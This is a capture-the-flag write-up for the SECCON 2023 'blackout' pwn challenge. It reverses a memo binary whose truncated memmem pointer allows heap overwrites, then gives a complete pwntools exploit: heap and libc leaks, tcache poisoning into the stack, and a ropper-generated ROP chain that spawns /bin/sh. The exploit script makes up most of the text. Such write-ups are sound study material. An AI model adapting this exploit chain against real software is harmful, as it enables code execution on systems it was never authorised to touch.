Rating: 4.5

## Reversing

The binary is a simple "memo" service providing three operations on an array of 8 "letters":

1. Write: allocate a letter of any length up to 65536 to a selected index. The letter is filled with zeros, and then the user can write one line of text up to the letter size (minus one) into the region. Write does not check to see if a letter is already allocated before overwriting it.
2. Blackout: specify a target letter index and a "word" (one line of at most 31 characters). `memmem` is used to repeatedly locate the word, which is then replaced with `*` characters. The redacted letter is printed out at the end.
3. Delete: free a letter, setting the pointer to NULL.

The bug in the binary is that the return value from `memmem`, which is a pointer, is truncated down to an `int`, as can be seen in Ghidra:

```c
pvVar2 = memmem(cur,(size_t)(letter[idx] + (letter_len - (long)cur)),word,word_len);
pvVar2 = (void *)(long)(int)pvVar2;
```

This bug can be caused by e.g. failing to `#include <string.h>`, as C will default to an `int` return type (as it turns out, this is exactly the bug in the C source file which was provided later).

The binary is compiled without PIE, so it will be loaded at address 0x400000. The heap will consequently be allocated at a small random offset past the binary, up to a maximum address of around 0x2000000. Thus, the heap pointers will usually fit inside the 32-bit range.

## Exploitation

We can allocate 0x100000000 (4GB) of memory by repeatedly leaking max-size letters, pushing our heap pointers past the 32-bit range. When `memmem` is applied to these pointers, the pointers will be truncated down to the 32-bit range, allowing us to overwrite other heap structures.

The bug allows us to write any number of `*` (0x2a) bytes to `heap_addr & 0xffffffff` where `heap_addr` is within a letter allocation. Because of ASLR, we cannot initially write to the binary, only other heap structures.

The basic flow of the exploit is as follows:

- Allocate and free two small chunks at the start of the heap.
- Allocate 8 smallbin-sized chunks, then free them to get a libc pointer into the heap
- Allocate the first small chunk again, which will be used for leaking.
- Allocate ~65534 chunks of size 65519, which gets us to approximately `0x100000000 + heap_base`.
- Use the bug to overwrite the null terminators of the first small chunk, then "blackout" that chunk with a dummy word to leak heap and libc pointers
- Do some allocations to control the second-lowest-byte of the top address, then allocate some chunks near 0x1....2a00
- Use the bug to overwrite a next pointer in tcache to point inside a controlled chunk, then allocate the fake chunk to control the tcache next pointer
- At this point, we can allocate anywhere we want; I chose to allocate near `&letters`, overwrite the array to leak a stack address, then do a second fake allocation into the stack and ROP to win.
- Get the flag from a shell: `SECCON{D0n't_f0Rg3T_fuNcT10n_d3cL4r4T10n}`

Full exploit:

```python
from pwn import *
from tqdm import tqdm
import os

context.update(arch="amd64")

#s = remote("jammy", 1337)
s = remote("blackout.seccon.games", 9999)

def add(index, size, data=b""):
s.sendline(b"1")
s.sendline(str(index).encode())
s.sendline(str(size).encode())
if size:
s.sendline(data)

def blackout(index, word=None):
s.sendline(b"2")
s.sendline(str(index).encode())
if word is None:
word = os.urandom(15).hex().encode()
s.sendline(word)
s.recvuntil(b"[Redacted]\n")
return s.recvuntil(b"\n> ", drop=True)

def delete(index):
s.sendline(b"3")
s.sendline(str(index).encode())

def make_overwriter():
# make a chunk that lets us overwrite memory near the initial av->top (OVERWRITER_BASE)
for i in tqdm(range(65535)):
add(7, 0xffef, b"")
if i % 2048 == 0:
s.clean()
add(7, 0x7800)
add(7, 0xffef)
s.clean()

def overwrite(offset, size=1):
global OVERWRITER_BASE
assert size < 31
# overwrite <offset> relative to the overwriter's base with a 0x2a byte
delete(7)
add(7, 0xffef, b"a" * (offset - OVERWRITER_BASE + 34800) + b"b" * size)
blackout(7, b"b" * size)

add(0, 16)
add(1, 16)
delete(1)
delete(0)
for i in range(8):
add(i, 32)
add(i, 256)
for i in reversed(range(8)):
delete(i)
add(0, 0)

OVERWRITER_BASE = 0xce0
make_overwriter()

overwrite(0x2a0, 16)
overwrite(0x2b0, 16)
leak = blackout(0)
# leak PROTECT_PTR(next)
heapbase = u64(leak[32:].ljust(8, b"\0")) << 12
log.info("heapbase: 0x%x", heapbase)

# prep some chunks for the tcache overwrite later
cur_top = OVERWRITER_BASE + heapbase + (1 << 32) + 0x7810
add(6, 0xffef - cur_top % 0x10000)
add(6, 0x1de0)
add(6, 0x300)
add(6, 0x300)
add(5, 0x200)
add(4, 0x200)
delete(4)
delete(5)
add(3, 0x350)
delete(3)
new_top_base = cur_top + 0x10000 - cur_top % 0x10000

# leak tcache key
overwrite(0x2c0, 8)
leak = blackout(0)
tcache_key = leak[40:48]
log.info("tache key: %s", tcache_key.hex())

# leak libc
for i in range(0x2c0, 0x310, 16):
overwrite(i, 16)

leak = blackout(0)
libc_base = u64(leak[0x310 - 0x2a0:].ljust(8, b"\0")) - 0x219de0
log.info("libc base: 0x%x", libc_base)

# tcache hacking
environ_ptr = libc_base + 0x221200
log.info("new top base: 0x%x", new_top_base)
overwrite(0x189, 1) # 0x2410 -> 0x2a10
victim = 0x404060
next_ptr = ((new_top_base + 0x2410) >> 12) ^ victim
add(3, 0x350, b"a" * (0x2a00 - 0x2830) + p64(0) + p64(0x211) + p64(next_ptr) + tcache_key)
add(4, 0x200)
add(5, 0x200, flat([
environ_ptr, 0, 0, new_top_base + 0x2830,
new_top_base + 0x1df0, new_top_base + 0x2100, 0, cur_top - 0x10000
]))
leak = blackout(0)
environ = u64(leak.ljust(8, b"\0"))
log.info("environ: 0x%x", environ)

# tcache hacking again
pause()
delete(4)
delete(5)
delete(3)
overwrite(0x209, 1) # 0x2400 -> 0x2a00
victim = (environ - 0x138) & ~0xf
next_ptr = ((new_top_base + 0x2400) >> 12) ^ victim
add(3, 0x350, b"a" * (0x29f0 - 0x2830) + p64(0) + p64(0x211) + p64(next_ptr) + tcache_key)
add(4, 0x300)

# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('Q', x)

rebase_0 = lambda x : p(x + libc_base)

rop = b''

rop += rebase_0(0x0000000000041c4a) # 0x0000000000041c4a: pop r13; ret;
rop += b'//bin/sh'
rop += rebase_0(0x0000000000035dd1) # 0x0000000000035dd1: pop rbx; ret;
rop += rebase_0(0x00000000002191e0)
rop += rebase_0(0x000000000005f962) # 0x000000000005f962: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000041c4a) # 0x0000000000041c4a: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000035dd1) # 0x0000000000035dd1: pop rbx; ret;
rop += rebase_0(0x00000000002191e8)
rop += rebase_0(0x000000000005f962) # 0x000000000005f962: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000002a3e5) # 0x000000000002a3e5: pop rdi; ret;
rop += rebase_0(0x00000000002191e0)
rop += rebase_0(0x000000000002be51) # 0x000000000002be51: pop rsi; ret;
rop += rebase_0(0x00000000002191e8)
rop += rebase_0(0x000000000011f497) # 0x000000000011f497: pop rdx; pop r12; ret;
rop += rebase_0(0x00000000002191e8)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000045eb0) # 0x0000000000045eb0: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000091396) # 0x0000000000091396: syscall; ret;

# pad with ret
add(5, 0x300, rebase_0(0x29f3b) * ((0x2f0 - len(rop)) // 8) + rop)

s.interactive()

# SECCON{D0n't_f0Rg3T_fuNcT10n_d3cL4r4T10n}
```

Original writeup (https://github.com/mmm-team/public-writeups/tree/main/seccon2023/pwn_blackout).